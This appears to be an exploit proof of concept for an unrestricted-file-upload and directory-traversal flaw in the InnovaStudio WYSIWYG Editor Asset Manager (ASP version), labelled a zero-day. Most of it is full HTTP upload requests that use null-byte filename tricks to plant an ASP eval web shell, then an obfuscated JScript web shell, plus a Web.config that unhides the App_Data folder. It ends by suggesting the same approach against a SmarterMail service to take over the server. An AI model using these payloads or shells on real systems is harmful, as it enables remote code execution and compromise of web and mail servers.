1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 |
# Exploit Title: InnovaStudio WYSIWYG Editor 5.4 - Unrestricted File Upload / Directory Traversal # Date: 11/04/2023 # Exploit Author: Zer0FauLT [admindeepsec@proton.me] # Vendor Homepage: innovastudio.com # Product: Asset Manager # Version: <= Asset Manager ASP Version 5.4 # Tested on: Windows 10 and Windows Server 2019 # CVE : 0DAY ################################################################################################## ## #ASP version, in i_upload_object_FSO.asp, line 234 # ## #oUpload.AllowedTypes = "gif|jpg|png|wma|wmv|swf|doc|zip|pdf|txt"# ## ################################################################################################## ||==============================================================================|| ||((((1)))) || |||| ||...:::We Trying Upload ASP-ASPX-PHP-CER-OTHER SHELL FILE EXTENSIONS:::... || ||==============================================================================|| ################################################################################################## "" " FILE PERMISSIONS : [ 0644 ]" "" " DIR PERMISSIONS: [ 0755 ]" "" "UPLOAD FOLDER: [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ] " "" ################################################################################################## ================================================================================================== POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2 Host: www.pentest.com Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG Content-Length: 473 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.pentest.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpCurrFolder2" C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpFilter" ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="File1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("#11")%> ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS-- ================================================================================================== " ...[ RESPONCE ]... " "" " ASP-ASPX-PHP-CER-OTHER FILE EXTENSIONS to types is not allowed." "" ================================================================================================== *** ||================================================================================|| ||((((2)))) || |||| ||...:::Now we will manipulate the filename: ===>>> filename="shell.asp":::...|| |||| ||================================================================================|| ################################################################################################## "" " FILE PERMISSIONS : [ 0644 ]" "" " DIR PERMISSIONS: [ 0755 ]" "" "UPLOAD FOLDER: [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ] " "" ################################################################################################## ================================================================================================== POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2 Host: www.pentest.com Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG Content-Length: 473 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.pentest.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpCurrFolder2" C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpFilter" ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="File1"; filename="shell.asp%00asp.txt" Content-Type: application/octet-stream <%eval request("#11")%> ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS-- ================================================================================================== ">>> filename="shell.asp%00asp.txt" <<<" "" " [ %00 ] ===> We select these values > Right Click > Convert Selecetion > URL > URL-decode" "" "or" "" " CTRL+Shift+U " "" " SEND!" "" ================================================================================================== " ...[ RESPONCE ]... " "" " OK! " "" "UPLOADED FOLDER: [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets\shell.asp ] " "" " SHELL PATH: https://www.pentest.com/editor/assets/shell.asp/aspx/php/cer/[Unrestricted]" "" ================================================================================================== *** ||==============================================================================|| ||((((3)))) || |||| ||...:::NO WRITE PERMISSION!:::...|| |||| || ...:::Directory Traversal:::...|| |||| ||==============================================================================|| ################################################################################################## "" " FILE PERMISSIONS: [ 0600 ] " "" " DEFAULT DIR[\Editor\assets] PERMISSIONS : [ 0700 ] " "" " OTHER[App_Data] DIR PERMISSIONS : [ 0777 ] " "" " DEFAULT FOLDER: [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ] " "" " App_Data FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data ]" "" " TEST WORK DIR :https://www.pentest.com/App_Data <<<= [ 404 ERROR - N/A ] " "" "" ################################################################################################## ########################################################################################################################################################## ## # What is the App_Data Folder useful?# # App_Data contains application data files including .mdf database files, XML files, and other data store files. # # The App_Data folder is used by ASP.NET to store an application's local database, such as the database for maintaining membership and role information. # # The App_Data folder is not public like the other website directories under the Home Directory. # # Because it's a private directory, the IIS server hides it for security reasons.# # Now, we will test whether such a directory exists. # # If the directory exists, we will make it public so that we can define the necessary server functions for running a shell within it.# # For this we will try to load a special server configuration file. This is a Web.Config file. With this we'll ByPass the directory privacy. # # So the directory will be public and it will be able to respond to external queries and run a shell.# ## ########################################################################################################################################################## ================================================================================================== POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2 Host: www.pentest.com Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG Content-Length: 473 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.pentest.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpCurrFolder2" C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpFilter" ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="File1"; filename="Web.Config%00net.txt" Content-Type: application/octet-stream <configuration> <system.webServer> <defaultDocument> <files> <add value="*.asp" /> <add value="*.aspx" /> <add value="*.php" /> </files> </defaultDocument> <security> <requestFiltering> <hiddenSegments> <clear /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS-- ================================================================================================== " ...[ RESPONCE ]... " "" " OK! " "" "UPLOADED FOLDER: [ C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data\Web.Config ] " "" "TEST WORK for App_Data DIR :https://www.pentest.com/App_Data <<<= [ 403 ERROR - OK. ] " "" ================================================================================================== # Now we will upload your shell to the directory where we made ByPass. # ================================================================================================== POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2 Host: www.pentest.com Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG Content-Length: 473 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.pentest.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpCurrFolder2" C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="inpFilter" ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS Content-Disposition: form-data; name="File1"; filename="shell.aspx%00aspx.txt" Content-Type: application/octet-stream <%@PAGE LANGUAGE=JSCRIPT EnableTheming = "False" StylesheetTheme="" Theme="" %> <%var PAY:String= Request["\x61\x62\x63\x64"];eval (PAY,"\x75\x6E\x73\x61"+ "\x66\x65");%> ------WebKitFormBoundaryFo1Ek0VVUzPm1AxS-- ====================================================================================================== " ...[ RESPONCE ]... " "" " OK! " "" "UPLOADED FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data\shell.aspx ]" "" "TEST WORK for Shell :https://www.pentest.com/App_Data/shell.aspx <<<= [ OK. ] " "" ========================================================================================================================================== "" " So what can we do if no directory on the site has write permission?" " If not, we will test for vulnerabilities in the paths of other applications running on the server. " " Sometimes this can be a mail service related vulnerability," " Sometimes also it can be a "Service Permissions" vulnerability." " Sometimes also it can be a "Binary Permissions " vulnerability." " Sometimes also it can be a "Weak Service Permissions" vulnerability. " " Sometimes also it can be a "Unquoted Service Path" vulnerability." " Our limits are as much as our imagination... " "***0DAY***" " Ok. Now we will strengthen our lesson by exemplifying a vulnerability in the SmarterMail service." " We saw that the SmarterMail service was installed on our IIS server and we detected a critical security vulnerability in this service. " " TEST WORK for SmarterMail Service: [ http://mail.pentest.com/interface/root#/login ] " " Data directory for this SmarterMail: [ C:\Program Files (x86)\SmarterTools\SmarterMail\MRS\App_Data ]" " As shown above, we can first navigate to the App_Data directory belonging to the SmarterMail service," " And then upload our shell file to the server by bypassing it." " This way, we will have full control over both the server and the mail service. " " Shell Path: [ http://mail.pentest.com/App_Data/shell.aspx ]" "" ========================================================================================================================================== |